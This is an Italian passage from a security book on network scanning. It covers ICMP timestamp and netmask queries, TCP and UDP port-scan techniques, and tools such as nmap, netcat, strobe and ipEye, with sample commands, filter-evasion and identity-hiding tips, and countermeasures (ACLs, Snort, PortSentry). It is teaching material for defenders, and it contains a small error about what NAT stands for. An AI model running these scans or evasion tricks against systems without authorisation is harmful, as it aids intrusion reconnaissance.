Può andare anche peggio. Se riesce a entrare in uno dei vostri sistemi, l'hacker potrebbe creare una backdoor nel sistema operativo e trasmettere dati nascosti all'interno di pacchetti ICMP_ECHO utilizzando programmi come `loki`. Per maggiori informazioni su `loki`, consigliamo di leggere l'articolo 06 di *Phrack Magazine*, Volume 7, Issue 51, September 01, 1997 (`http://phrack.org/show.php?p==51&a=6`).
Un altro strumento interessante, sviluppato da Tom Ptacek e portato in ambiente Linux da Mike Schiffman, è `pingd`. Si tratta di un daemon utente che gestisce tutto il traffico ICMP_ECHO e ICMP_ECHOREPLY a livello di host. Per ottenere questo risultato è stato necessario eliminare dal kernel il supporto per l'elaborazione di ICMP_ECHO e implementare un daemon utente che utilizza un socket ICMP per gestire i pacchetti. Sostanzialmente si ottiene un meccanismo per il controllo degli accessi via ping a livello di sistema. `pingd` è disponibile anche per Linux (`http://packetstormsecurity.org/UNIX/misc/pingd-0.5.1.tgz`).

Interrogazioni ICMP

Diffusione:	*2*
Semplicità:	*9*
Impatto:	*5*
Fattore di rischio:	*5*

I ping sweep (o i pacchetti ICMP ECHO) non sono che la punta dell'iceberg delle informazioni ottenibili via ICMP su una rete. È sufficiente il semplice invio di un pacchetto ICMP per raccogliere preziose informazioni su un sistema. Con gli strumenti `icmpquery` (`http://packetstormsecurity.org/UNIX/scanners/icmpquery.c`) oppure `icmpush` (`http://packetstormsecurity.org/UNIX/scanners/icmpush22.tgz`) di UNIX si può richiedere l'ora del sistema (per verificare in che fuso orario si trovi) inviando un messaggio ICMP di tipo 13 (TIMESTAMP). Allo stesso modo, per ottenere la netmask di un dispositivo specifico è sufficiente utilizzare un messaggio ICMP di tipo 17 (ADDRESS MASK REQUEST).
La netmask di una scheda di rete è importante, poiché consente di identificare tutte le sottoreti utilizzate. Conoscendo le sottoreti, si riescono a concentrare gli attacchi su una specifica porzione della rete, evitando accuratamente gli indirizzi broadcast, per esempio. `Icmpquery` prevede due opzioni per la richiesta di data/ora e per quella dell'address mask:

```
icmpquery  <-query> [-B] [-f fromhost] [-d delay] [-T time] targets
where <query> is one of:
        -t : icmp timestamp request (default)
        -m : icmp address mask request
    The delay is in microseconds to sleep between packets.
    targets is a list of hostnames or addresses
```

```
    -T specifies the number of seconds to wait for a host to
       respond.  The default is 5.
    -B specifies 'broadcast' mode.  icmpquery will wait
       for timeout seconds and print all responses.
    If you're on a modem, you may wish to use a larger -d and -T
```

Il comando seguente consente di richiedere l'ora impostata su un router:

```
[tsunami] icmpquery -t 192.168.1.1
192.168.1.1                                   :  11:36:19
```

In questo caso, `icmpquery` richiede la netmask al router:

```
[tsunami] icmpquery -m 192.168.1.1
192.168.1.1                                           :  0xFFFFFFE0
```

Non tutti i router o sistemi consentono risposte ai messaggi ICPM TIMESTAMP o NETMASK, quindi i risultati ottenibili con `icpmquery` e `icpmpush` possono variare notevolmente da un host all'altro.

Contromisure alle interrogazioni ICMP

Una delle contromisure consigliate consiste nel bloccare sui router esterni i tipi di messaggi ICMP che forniscono informazioni. Come minimo, sarebbe necessario impedire ai pacchetti di richiesta TIMESTAMP (ICMP tipo 13) e ADDRESS MASK (ICMP tipo 17) di entrare nella rete. Se sulla linea di confine disponete alcuni router Cisco, potete impedire che rispondano a questi pacchetti di richiesta ICMP utilizzando le seguenti ACL:

```
access-list 101 deny icmp any any 13  ! timestamp request
access-list 101 deny icmp any any 17  ! address mask request
```

È possibile riconoscere questa attività utilizzando un sistema di intercettazione delle intrusioni per reti (NIDS) come Snort (`www.snort.org`). Di seguito viene indicato un frammento di questo tipo di attività segnalata da Snort:

```
[**] PING-ICMP Timestamp [**]
05/29-12:04:40.535502 192.168.1.10 -> 192.168.1.1
ICMP TTL:255 TOS:0x0 ID:4321
TIMESTAMP REQUEST
```

Determinazione dei servizi in funzione o in ascolto

Finora abbiamo identificato i sistemi effettivamente attivi (utilizzando ping sweep sia su ICMP sia su TCP) e raccolto qualche informazione via ICMP. A questo punto siamo pronti per procedere alla scansione delle porte su ogni sistema.

Scansione delle porte

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*9*
Fattore di rischio:	*9*

La scansione delle porte (*port scanning*) consiste nella connessione alle porte TCP e UDP presenti sul sistema scelto come obiettivo per stabilire quali servizi siano in esecuzione o in stato LISTENING, ovvero in ascolto. L'identificazione delle porte in ascolto è fondamentale per risalire al tipo di sistema operativo e alle applicazioni in uso. Eventuali servizi attivi in ascolto potrebbero consentire a utenti non autorizzati di accedere a sistemi configurati in modo errato o su cui sia in esecuzione un software con problemi di sicurezza noti.
In questo paragrafo ci soffermeremo su alcuni degli strumenti di scansione delle porte più diffusi, in grado di fornire diverse informazioni preziose. Le tecniche che incontreremo saranno differenti da quelle viste fino a questo punto, poiché il nostro obiettivo in precedenza era semplicemente il riconoscimento dei sistemi attivi. Nelle fasi successive daremo per scontato che il sistema sia in funzione e punteremo a identificare tutte le porte in ascolto e i potenziali punti di accesso.
Gli obiettivi che ci poniamo con la scansione delle porte sono diversi. Tra questi ricordiamo:

- l'identificazione dei servizi TCP e UDP in esecuzione sul sistema obiettivo;
- l'identificazione del tipo di sistema operativo;
- l'identificazione di particolari applicazioni o di versioni di uno specifico servizio.

Tipi di scansione

Prima di passare agli indispensabili strumenti per la scansione delle porte, è necessario chiarire quali siano le diverse tecniche disponibili. Uno dei pionieri nell'implementazione di queste tecniche di scansione è Fyodor, che ne ha implementate un buon numero nel suo `nmap`. Molti dei tipi di scansione che presenteremo in questo paragrafo sono stati elaborati direttamente dallo stesso Fyodor.

- **TCP connect scan (scansione TCP con connessione).** Questo tipo di scansione si collega alla porta obiettivo e completa una procedura di handshake a tre fasi (three-way handshake), SYN, SYN/ACK e ACK (Figura 2.2). È facilmente intercettata dal sistema obiettivo.
- **TCP SYN scan (scansione TCP via SYN).** Questa tecnica è detta anche di scansione semiaperta (*half-open scanning*), poiché non viene realizzata una connessione TCP completa. Piuttosto, viene inviato un pacchetto SYN alla porta obiettivo e si attende la risposta. Se si riceve un pacchetto SYN/ACK, questo indica che la porta è in stato LISTENING; se la risposta è RST/ACK, questo normalmente significa che la porta non è in ascolto. Il sistema che esegue la scansione risponde con RST/ACK, in modo tale che la connessione non venga mai completata. Questa tecnica presenta il vantaggio di essere più discreta rispetto alla connessione TCP completa e potrebbe non essere registrata sul sistema target.

Handshake TCP in tre fasi

1) Invio di SYN da parte del client

2) Invio di SYN/ACK da parte del server

3) Invio di ACK da parte del client

Client

Server

Figura 2.2

1) Invio di un pacchetto SYN; 2) Ricezione di un pacchetto SYN/ACK; 3) Invio di un pacchetto ACK.

- **TCP FIN scan (scansione TCP via FIN).** Questa tecnica prevede l'invio di un pacchetto FIN sulla porta obiettivo. Secondo la RFC 793 (`http://www.ietf.org/rfc/rfc0793.txt`), il sistema target dovrebbe rispondere con RST per tutte le porte chiuse. Solitamente questa tecnica funziona solo con le implementazioni UNIX di TCP/IP.
- **TCP Xmas Tree scan (scansione TCP ad albero di Natale).** Questa tecnica prevede l'invio di un pacchetto FIN, URG e PUSH alla porta target. Secondo la RFC 793, il sistema obiettivo dovrebbe rispondere con RST per tutte le porte chiuse.
- **TCP Null scan (scansione TCP nulla).** Questa tecnica disattiva tutti i flag. Secondo la RFC 793, il sistema obiettivo dovrebbe rispondere con RST per tutte le porte chiuse.
- **TCP ACK scan (scansione TCP via ACK).** Questa tecnica viene utilizzata per ricostruire la mappa dell'insieme di regole del firewall. Può risultare utile per determinare se il firewall è un semplice filtro dei pacchetti che consente solo connessioni riconosciute (ovvero, connessioni con impostato il bit ACK) o un firewall che esegue funzionalità avanzate di filtraggio dei pacchetti.
- **TCP Windows scan (scansione TCP con Windows).** Questa tecnica è in grado di riconoscere sia porte aperte sia porte filtrate/non filtrate su alcuni sistemi (per esempio, AIX e FreeBSD) a causa di un'anomalia nel modo in cui viene restituita la dimensione della finestra TCP.
- **TCP RPC scan (scansione TCP via RPC).** Questa tecnica è specifica dei sistemi UNIX e viene utilizzata per riconoscere e identificare porte RPC (*Remote Procedure Call*) unitamente al loro programma e numero di versione.
- **UDP scan (scansione UDP).** Questa tecnica prevede l'invio di un pacchetto UDP alla porta target. Se la risposta è un messaggio "ICMP port unreachable", la porta è chiusa. Se invece non si riceve tale messaggio, si può concludere che la porta è aperta. Essendo UDP un protocollo "connectionless", cioè non basato sulla connessione, la precisione di questa tecnica dipende fortemente da numerosi fattori legati al livello di utilizzo delle risorse della rete e di sistema. Inoltre, la scansione UDP è un processo estremamente lento, specialmente nel caso si tenti di esaminare un dispositivo che

utilizzi intensamente i filtri sui pacchetti. Se decidete di eseguire scansioni UDP su Internet, non aspettatevi risultati affidabili.

Alcune implementazioni di IP presentano la spiacevole caratteristica di restituire RST per tutte le porte, che siano in ascolto o meno. Di conseguenza, il risultato della scansione potrebbe non essere quello previsto; tuttavia, le scansioni SYN e connect( ) dovrebbero funzionare su tutti gli host.

Identificazione dei servizi TCP e UDP in esecuzione

Disporre di un buon strumento per la scansione delle porte è un elemento fondamentale nel processo di footprinting. Esistono numerosi programmi di questo genere, sia per UNIX sia per NT, ma ci limiteremo a citare alcuni dei più popolari e collaudati.

strobe

`strobe` è un venerando strumento di scansione delle porte TCP, sviluppato da Julian Assange (`ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/strobe-1.06.tgz`). Esiste da qualche anno ed è uno dei programmi più veloci e affidabili per scansioni TCP. Tra le funzionalità principali di `strobe` ricordiamo la possibilità di ottimizzare l'utilizzo delle risorse di sistema e di rete per effettuare la scansione del sistema target in modo efficiente. Efficienza a parte, le versioni di `strobe` a partire dalla 1.04 sono in grado di catturare, se disponibile, il banner associato a ogni porta alla quale si connettono. Questo può consentire l'identificazione del sistema operativo e del servizio in esecuzione. Per maggiori informazioni sulla cattura dei banner si veda il Capitolo 3.
L'output di `strobe` riporta l'elenco di tutte le porte TCP in ascolto:

```
[tsunami] strobe 192.168.1.10
strobe 1.03 © 1995 Julian Assange (proff@suburbia.net).

192.168.1.10   echo            7/tcp Echo [95,JBP]
192.168.1.10   discard         9/tcp Discard [94,JBP]
192.168.1.10   sunrpc        111/tcp rpcbind SUN RPC
192.168.1.10   daytime        13/tcp Daytime [93,JBP]
192.168.1.10   chargen        19/tcp ttytst source
192.168.1.10   ftp            21/tcp File Transfer [Control] [96,JBP]
192.168.1.10   exec          512/tcp remote process execution;
192.168.1.10   login         513/tcp remote login a la telnet;
192.168.1.10   cmd           514/tcp shell like exec, but automatic
192.168.1.10   ssh            22/tcp Secure Shell
192.168.1.10   telnet         23/tcp Telnet [112,JBP]
192.168.1.10   smtp           25/tcp Simple Mail Transfer [102,JBP]
192.168.1.10   nfs          2049/tcp networked file system
192.168.1.10   lockd        4045/tcp
192.168.1.10   unknown     32772/tcp unassigned
192.168.1.10   unknown     32773/tcp unassigned
192.168.1.10   unknown     32778/tcp unassigned
192.168.1.10   unknown     32799/tcp unassigned
192.168.1.10   unknown     32804/tcp unassigned
```

Pur essendo estremamente affidabile, `strobe` presenta alcuni limiti che è bene tenere presente. Innanzitutto, si tratta di uno scanner TCP e non prevede funzionalità di scansione UDP: in pratica presenta solo una parte del quadro del sistema. Per supe-

rare queste limitazioni e utilizzare altre tecniche, è necessario cercare più a fondo nel nostro arsenale.

udp_scan

Poiché `strobe` è limitato alla scansione TCP, possiamo servirci di `udp_scan`, inizialmente compreso nel kit SATAN (*Security Administrator Tool for Analyzing Networks*) e sviluppato nel 1995 da Dan Farmer e Wietse Venema. Mentre SATAN risulta piuttosto datato, alcuni dei suoi strumenti funzionano ancora egregiamente. Inoltre, nuove versioni di SATAN (che ora si chiama SAINT) sono state rilasciate sul sito `http://wwdsilx.wwdsi.com`. Sono disponibili anche altri strumenti per effettuare scansioni UDP, ma a nostro modesto parere `udp_scan` è uno dei più affidabili. Occorre anche sottolineare che, pur essendo affidabile, `udp_scan` presenta un antipatico effetto collaterale: i principali prodotti di IDS lo riconoscono e segnalano le attività di scansione da parte di SATAN. In altre parole, non è uno degli strumenti più discreti disponibili. Tipicamente, rivolgeremo la nostra attenzione alle porte "well-known", cioè quelle sotto la 1024, e a particolari porte ad alto rischio al di sopra della 1024:

```
[tsunami] udp_scan 192.168.1.1 1-1024
42:UNKNOWN:
53:UNKNOWN:
123:UNKNOWN:
135:UNKNOWN:
```

netcat

Un'altra eccellente utility è `netcat`, o `nc`, che viene sviluppata da Hobbit (`hobbit@avian.org`). Questo programma offre un numero così elevato di funzionalità da indurci a considerarlo "il coltellino svizzero nel nostro arsenale per la sicurezza". Torneremo a parlare di molte delle caratteristiche più avanzate di `netcat` nel prosieguo del libro; per ora è sufficiente segnalare che `nc` offre funzionalità di base per la scansione di porte TCP e UDP. I parametri `-v` e `-vv` controllano il livello di dettaglio dell'output, rispettivamente elevato (*verbose*) e molto elevato (*very verbose*). Il parametro `-z` attiva l'I/O a modalità zero, utilizzato per la scansione delle porte, mentre il parametro `-w2` definisce un intervallo di durata per ogni connessione. Poiché di default `nc` si serve delle porte TCP, è necessario specificare il parametro `-u` per la scansione UDP (come nel secondo esempio):

```
[tsunami]  nc -v -z -w2 192.168.1.1 1-140

[192.168.1.1] 139 (?) open
[192.168.1.1] 135 (?) open
[192.168.1.1] 110 (pop-3) open
[192.168.1.1] 106 (?) open
[192.168.1.1] 81 (?) open
[192.168.1.1] 80 (http) open
[192.168.1.1] 79 (finger) open
[192.168.1.1] 53 (domain) open
[192.168.1.1] 42 (?) open
[192.168.1.1] 25 (smtp) open
[192.168.1.1] 21 (ftp) open

[tsunami]  nc -u -v -z -w2 192.168.1.1 1-140
[192.168.1.1] 135 (ntportmap) open
```

TCP comunicando sulla porta 113. Molte versioni di ident in realtà rispondono con il proprietario del processo legato alla porta in esame; tuttavia, si tratta di una possibilità da tenere in considerazione nel caso di obiettivi UNIX:

```
[tsunami] nmap -I 192.168.1.10
Starting nmap V. 2.53 by fyodor@insecure.org
Port    State       Protocol  Service        Owner
22      open        tcp        ssh             root
25      open        tcp        smtp            root
80      open        tcp        http            root
110     open        tcp       pop-3            root
113     open        tcp        auth            root
6000    open        tcp        X11             root
```

Osservate come in questo esempio sia possibile stabilire il proprietario effettivo di ogni processo. I lettori più attenti avranno notato anche che il server Web è in esecuzione come root, invece che come utente senza privilegi (per esempio "nobody"): si tratta di una pratica non del tutto sicura. Da questa scansione di tipo ident abbiamo quindi ricavato un'informazione preziosissima. Se si riuscisse a manomettere il servizio HTTP in modo da consentire a un utente non autorizzato di eseguire comandi, il premio sarebbe l'accesso immediato come root.

L'ultima tecnica di scansione che presentiamo è detta *FTP bounce scanning* (scansione con rimbalzo FTP), esposta per la prima volta da Hobbit in un intervento del 1995 su Bugtraq (`http://www.securityfocus.com/templates/archive.pike?list=1&msg=199507120620.CAA18176@narq.avian.org`), in cui sottolineava alcuni difetti intrinseci del protocollo FTP (RFC 959, all'indirizzo `http://www.ietf.org/rfc/rfc0959.txt`). Sostanzialmente, un attacco di tipo FTP bounce è un metodo insidioso per "ripulire" le connessioni attraverso un server FTP, abusando del supporto a connessioni FTP "proxy". Come evidenziato da Hobbit nell'articolo citato, attacchi di questo tipo "possono essere utilizzati per inviare posta e messaggi virtualmente non rintracciabili, intasare i server di diversi siti, riempire i dischi, cercare di saltare firewall e, in generale, dare fastidio ed essere difficili da rintracciare allo stesso tempo". Tra l'altro, è possibile far rimbalzare le scansioni delle porte da un server FTP per nascondere la propria identità, o meglio ancora superare certi meccanismi di controllo.

Ovviamente, `nmap` supporta anche questo tipo di scansione, tramite l'opzione `-b`; tuttavia devono essere rispettate alcune condizioni. In primo luogo, il server FTP deve contenere una directory in lettura e scrittura come `/incoming`; inoltre, deve accettare da `nmap` indicazioni false sulle porte, attraverso il comando PORT. Questa tecnica può risultare estremamente efficace per superare i dispositivi di controllo degli accessi e mascherare la propria identità, ma è anche molto lenta. Inoltre, molte versioni recenti dei server FTP non consentono questo tipo di attività nefasta.

Ora che abbiamo presentato gli strumenti indispensabili per eseguire la scansione delle porte, è necessario comprendere come analizzare i dati raccolti da ogni programma. Indipendentemente dallo strumento utilizzato, stiamo cercando di identificare le porte aperte che potrebbero svelare indizi sul tipo di sistema operativo. Per esempio, se le porte 139 e 135 sono aperte, con ogni probabilità il sistema operativo del nostro obiettivo è Windows NT; infatti, Windows NT normalmente ascolta su entrambe le porte, mentre Windows 95/98 utilizza solo la 139.

Riprendendo l'output di `strobe` (visto in precedenza), possiamo notare molti dei servizi in esecuzione sul sistema. Dovendo formulare un'ipotesi, potremmo dire che il sistema sembra utilizzare una variante di UNIX. Siamo arrivati a questa conclusio-

ne perché il portmapper (111), le porte dei servizi Berkeley R (512-514), NFS (2049) e le porte con numeri 3277X e oltre sono tutte in ascolto. L'esistenza di queste porte è normalmente un indicatore del fatto che il sistema utilizza UNIX. Inoltre, dovendo risalire alla specifica variante di UNIX, potremmo ipotizzare Solaris. Sappiamo che normalmente Solaris esegue i propri servizi RPC nell'intervallo 3277X. Ricordate che stiamo solo formulando ipotesi e che il sistema operativo potrebbe in realtà essere completamente diverso.
Con semplici scansioni sulle porte TCP e UDP, siamo in grado di valutare a grandi linee il livello di esposizione dei sistemi in esame. Per esempio, se la porta 139 è aperta su un server Windows NT, questo potrebbe essere estremamente vulnerabile. Il Capitolo 5 espone i punti deboli intrinseci di Windows NT e descrive come sia possibile accedere alla porta 139 per manomettere la sicurezza su sistemi che non predispongano misure di protezione adeguate su questa porta. Nel nostro esempio, anche il sistema UNIX sembra essere esposto al rischio, perché i servizi in ascolto forniscono numerose funzionalità e risentono di ben noti problemi legati alla sicurezza. Per esempio, i servizi RPC (*Remote Procedure Call*) e il servizio NFS (*Network File System*) sono due delle occasioni principali per un hacker di manomettere la sicurezza di un server UNIX (Capitolo 7). Al contrario, è praticamente impossibile manomettere la sicurezza di un servizio remoto se questo non è in ascolto. Quindi è importante ricordare che maggiore è il numero dei servizi in esecuzione su una macchina, più elevata sarà la probabilità di una manomissione del sistema.

Strumenti di scansione delle porte basati su Windows

Abbiamo finora parlato a lungo di strumenti di scansione delle porte dal punto di vista di un utente UNIX: questo significa forse che gli utenti Windows non possono unirsi alla festa? Naturalmente no. Gli strumenti di scansione riportati di seguito sono saliti alla ribalta del nostro arsenale personale per la loro velocità, precisione e funzionalità disponibili.

NetScanTools Pro 2000

Uno degli strumenti di analisi delle reti più versatili attualmente in circolazione, NetScanTools Pro 2000 (NSTP2K), offre praticamente qualsiasi utilità immaginabile sotto un'unica interfaccia: interrogazioni DNS tra cui `nslookup` e `dig` con `axfr`, whois, ping sweep, scansioni della tabella dei nomi NetBIOS, SNMP walk e molto altro. Inoltre, dispone della funzionalità multitasking che consente, per esempio, di eseguire una scansione delle porte di una rete mentre si esegue il ping sweep di un'altra (sebbene vi sconsigliamo di effettuare tale operazione su reti di grandi dimensioni, a meno che non siate estremamente pazienti).
Tra le altre cose comprende uno dei migliori strumenti per la scansione delle porte in Windows disponibili sul mercato: Port Probe. Tra i punti forti di Port Probe ricordiamo: la possibilità di specificare target e porte in modo flessibile (sia l'IP target sia gli elenchi delle porte possono essere importati da file di testo), il supporto per le scansioni TCP e UDP (sebbene non sistematicamente per porta) e velocità multithread. Come aspetto negativo possiamo segnalare che l'uscita prodotta da Port Probe non è facilmente analizzabile utilizzando gli script o gli strumenti di elaborazione dei dati disponibili e che la sua natura grafica rende di fatto impossibile la sua inclusione all'interno degli script. Sarebbe anche opportuno che l'uscita di una fun-

zione (per esempio, NetScanner) possa essere utilizzata come ingresso di un'altra (per esempio, Port Probe).
In generale, NSTP2K (`http://www.nwpsw.com`) è un prodotto professionale periodicamente aggiornato per mezzo di serviced pack, ma rimane costoso se confrontato con altri prodotti concorrenti. Una versione meno potente chiamata Netscan Tools (attualmente rilasciata come versione 4) è disponibile in prova per trenta giorni ma non è nemmeno paragonabile all'insieme delle funzionalità disponibili in Pro 2000 (per esempio, non supporta le scansioni UDP).
Quando utilizzate NSTP2K, ricordate di disabilitare il server ident nella scheda IDENT Server in modo da non ritrovarvi ad ascoltare la porta TCP 113 ogniqualvolta eseguite una scansione. La Figura 2.3 mostra NSTP2K in azione durante la scansione di un intervallo di indirizzi di una rete di medie dimensioni.

Figura 2.3
NetScanTools Pro 2000 è uno dei programmi più veloci e flessibili oggi disponibili per la scansione delle porte di rete Windows.

SuperScan

SuperScan, prodotto da Foundstone, è un altro programma di scansione di porte TCP veloce e versatile che è possibile scaricare gratuitamente all'indirizzo `http://www.foundstone.com/rdlabs/termsofuse.php?filename=superscan.exe`. Analogamente a NSTP2K, consente di analizzare in modo flessibile indirizzi IP ed elenchi di porte. L'opzione *Extract from file* risulta particolarmente utile (Figura 2.4). Per

una descrizione completa, consultate la guida in linea, della quale riportiamo un estratto di seguito affinché possiate rendervi conto della quantità di tempo che questa opzione consente di risparmiare.

"La funzionalità *Extract from file* esegue la scansione di un qualsiasi file di testo ed estrae indirizzi IP validi e nomi di host. Il programma si comporta molto bene quando incontra nomi di host validi, ma potrebbe essere necessario rimuovere in anticipo il testo non necessario utilizzando un editor esterno. Potete fare clic su *Browse and Extract* il numero di volte desiderato utilizzando file differenti: il programma aggiungerà i nuovi nomi di host all'elenco. Tutti gli elementi duplicati verranno rimossi automaticamente. Dopo aver trovato tutti i nomi di host e in previsione della successiva scansione delle porte, potete convertire i nomi di host in indirizzi IP facendo clic sul pulsante *Resolve*."

Figura 2.4

L'opzione Extract from file di SuperScan è molto utile: è sufficiente scegliere un file di testo, contenente tutti gli indirizzi IP e gli identificativi degli host, creato appositamente per la scansione delle porte.

Questa procedura è illustrata nella Figura 2.4. SuperScan è inoltre dotato di uno degli elenchi di porte più completi; in aggiunta, è possibile selezionare e deselezionare manualmente le porte, per consentire un controllo più accurato. SuperScan è, infine, davvero veloce.

WinScan

WinScan, realizzato da Sean Mathias di Prosolve (`http://www.prosolve.com`), è un programma di scansione delle porte TCP disponibile gratuitamente sia in versione grafica (`winscan.exe`) sia per riga di comando (`scan.exe`). La versione per riga di comando viene abitualmente utilizzata negli script per la sua capacità di sondare reti di Classe C e la semplicità di analisi dell'output. Utilizzando la versione Win32 dei programmi di utilità `strings`, `tee` e `tr` forniti da Mortice Kern Systems Inc. (all'indirizzo `http://www.mks.com`), i comandi di console NT riportati di seguito consentono di effettuare la scansione di una rete per tutte le porte well known comprese tra 0 e 1023 e di visualizzare i risultati sotto forma di coppie indirizzo_IP: nome_servizio:port_# in colonne separate da virgola:

```
scan.exe -n 192.168.7.0 -s 0 -e 1023 -f ¦ strings ¦ findstr /c:"/tcp" ¦
tr \011\040 : ¦ tr -s : : ¦ tee -ia results.txt
```

Non utilizzate il parametro `-f` di `scan.exe` su collegamenti lenti in quanto i risultati non sono affidabili. I risultati del nostro script avranno l'aspetto seguente:

```
192.168.22.5:nbsession:139/tcp
192.168.22.16:nbsession:139/tcp
192.168.22.32:nbsession:139/tcp
```

Un sentito ringraziamento a Patrick Heim e Jason Glassberg per questo listato.

ipEye

Pensate di dover necessariamente utilizzare Linux e `nmap` per eseguire esotiche scansioni di pacchetti? Ripensateci. ipEye di Arne Vidstrom, disponibile all'indirizzo `http://ntsecurity.nu`, consente di eseguire scansioni di porte di origine nonché scansioni SYN, FIN e Xmas dalla riga di comando di Windows. Le uniche limitazioni a questo programma piuttosto interessante risiedono nel fatto che può essere eseguito unicamente su sistemi Win 2000 e che esegue la scansione di un solo host per volta. Di seguito viene riportato un esempio di ipEye che esegue una scansione SYN originata sulla porta TCP 20 nel tentativo di evadere le regole di filtro di un router, simile in tutto e per tutto all'opzione `-g` di `nmap` (modificato per motivi di impaginazione):

```
C:\Toolbox>ipeye.exe 192.168.234.110 -syn -p 1 1023 -sp 20

ipEye 1.1 - (c) 2000, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
          - http://ntsecurity.nu/toolbox/ipeye/

  1-52 [closed or reject]
  53 [open]
  54-87 [closed or reject]
  88 [open]
  89-134 [closed or reject]
```

```
  135 [open]
  136-138 [closed or reject]
  139 [open]
...
  636 [open]
  637-1023 [closed or reject]
  1024-65535 [not scanned]
```

Poiché le ACL di molti router e firewall sono configurate per consentire a protocolli come DNS (UDP 53), il canale di dati FTP (TCP 20), SMTP (TCP 25) e HTTP (TCP 80) l'ingresso attraverso i filtri, la scansione delle porte di origine può potenzialmente evadere questo tipo di controllo facendosi passare come traffico in ingresso di questo tipo. Tuttavia, è necessario conoscere lo spazio di indirizzamento protetto dal firewall o dal router, operazione spesso complessa se è coinvolto NAT (*NetBIOS Auditing Tool*).

WUPS

WUPS (*Windows UDP Port Scanner*) è stato realizzato dallo stesso autore che ha creato `http://ntsecurity.nu` (Arne Vidstrom). Si tratta di un programma di scansione di porte UDP di tipo grafico, affidabile e piuttosto brioso (a seconda dell'impostazione dei ritardi), anche se è in grado di analizzare un solo host alla volta per porte sequenzialmente specificate. È uno strumento solido per scansioni UDP veloci di host singoli, come mostra la Figura 2.5.

Figura 2.5
WUPS smaschera un sistema che utilizza SNMP (UDP 161).

ScanLine

Per quanto riguarda i programmi di scansione delle porte basati completamente su Windows, probabilmente ScanLine di Foundstone è il programma di questo tipo più veloce e robusto. Esso presenta moltissime opzioni, ma una di quelle maggiormente apprezzabili è la capacità di analizzare intervalli molto ampi e di effettuare in

una sola sessione la scansione sia delle porte TCP, sia di quelle UDP. Osservate l'esempio seguente:

```
C:\nt\attacker>sl -t 21,22,23,25 -u 53,137,138 192.168.0.1
ScanLine (TM) 1.01
Copyright (c) Foundstone, Inc. 2002
http://www.foundstone.com

Scan of 1 IP started at Fri Nov 22 23:09:34 2002

-------------------------------------------------------------
192.168.0.1
Responded in 0 ms.
1 hop away
Responds with ICMP unreachable: No
TCP ports: 21 23
UDP ports:

----------------------------------------------------------------------
Scan finished at Fri Nov 22 23:09:46 2002

1 IP and 7 ports scanned in 0 hours 0 mins 12.07 secs
```

Sintesi della scansione delle porte

La Tabella 2.2 presenta un elenco degli strumenti di scansione delle porte maggiormente diffusi e per ciascuno riporta i tipi di scansione supportati.

Tabella 2.2 Alcuni degli strumenti di scansione più comuni

Scanner	TCP	UDP	Camuffamento	Fonte
UNIX				
strobe	X			ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/strobe-1.06.tgz
tcp_scan	X			http://wwdsilx.wwdsi.com/saint/
udp_scan		X		http://wwdsilx.wwdsi.com/saint/
nmap	X	X	X	http://www.inscure.org/nmap
netcat	X	X		http://packetstorm.securify.com/UNIX/utilities/nc110.tgz
Windows				
netcat	X	X*		http://www.atstake.com/research/tools/nc11nt.zip
NetScanTools Pro 2000	X	X		http://www.nwpsw.com
SuperScan	X			http://members.home.com/rkeir/software.html
WinScan	X			http://www.prosolve.com
ipEye	X			http://ntsecurity.nu
WUPS		X		http://ntsecurity.nu
Fscan	X	X		http://www.foundstone.com/

* Attenzione: la scansione netcat UDP non funziona mai sotto NT, quindi non fate affidamento su di essa.

Contromisure alla scansione delle porte

Intercettazione

La scansione delle porte è spesso utilizzata dagli hacker per stabilire quali porte TCP e UDP siano in ascolto sui sistemi remoti. Riconoscere attività di questo tipo è essenziale per prevedere quando e da chi potrà arrivare un attacco. I principali metodi utilizzati per l'intercettazione di tentativi di scansione delle porte sono programmi di IDS basati sulla rete.
Snort (`http://www.snort.org`) è un ottimo IDS, soprattutto perché le signature sono spesso messe a disposizione da autori pubblici ed è gratuito. Come avrete probabilmente intuito, questo è uno dei nostri programmi preferiti e rende possibile un efficace sistema di intercettazione delle intrusioni (NIDS). Si noti che le versioni 1.x di Snort non gestiscono correttamente la frammentazione dei pacchetti. Riportiamo a titolo di esempio il listato di un tentativo di scansione di porte:

```
[**] spp_portscan: PORTSCAN DETECTED from 192.168.1.10 [**]
05/22-18:48:53.681227
[**] spp_portscan: portscan status from 192.168.1.10: 4 connections across
     1 hosts: TCP(0), UDP(4) [**]
05/22-18:49:14.180505
[**] spp_portscan: End of portscan from 192.168.1.10 [**]
05/22-18:49:34.180236
```

Per quanto riguarda gli host UNIX, esistono diversi strumenti, come `scanlogd` (`http://www.openwall.com/scanlogd/`) di Solar Designer, in grado di riconoscere e registrare questi tipi di attacco. Inoltre, Psionic PortSentry, un componente del progetto Abacus (`http://www.psionic.com/abacus/`), può essere configurato in modo da riconoscere e rispondere a un attacco attivo. Un metodo per rispondere a un tentativo di scansione delle porte è impostare automaticamente regole di filtraggio a livello di kernel che aggiungono una regola che nega l'accesso dal sistema incriminato. Tale regola può essere configurata nel file di configurazione di PortSentry e sarà diversa da sistema a sistema. Per un sistema Linux 2.2.x dotato di supporto per firewall a livello del kernel, la voce corrispondente del file `portsentry.conf` ha l'aspetto seguente:

```
# New ipchain support for Linux kernel version 2.102+
KILL_ROUTE="/sbin/ipchains -I input -s $TARGET$ -j DENY -l"
```

PortSentry è compatibile con le principali varianti di UNIX, compreso Solaris. È importante ricordare che l'intercettazione di sequenze di scansione delle porte provenienti da un particolare sistema o rete potrebbe indicare che qualcuno sta perlustrando la vostra rete. Prestate molta attenzione a questo tipo di attività, poiché potrebbe essere imminente un attacco in grande stile. Infine, ricordate che ci sono svantaggi nel reagire attivamente o bloccare i tentativi di scansione delle porte. La ragione principale è che l'hacker potrebbe presentarsi sotto mentite spoglie utilizzando l'indirizzo IP di utenti ignari, che diverrebbero pertanto l'obiettivo delle vostre rappresaglie. Per ulteriori informazioni e suggerimenti su come programmare e portare un attacco contro i sistemi di intercettazione dei programmi di scansione, consultare il saggio realizzato da Solar Designer e disponibile all'indirizzo `http://www.openwall.com/scanlogd/P53-13.gz`.

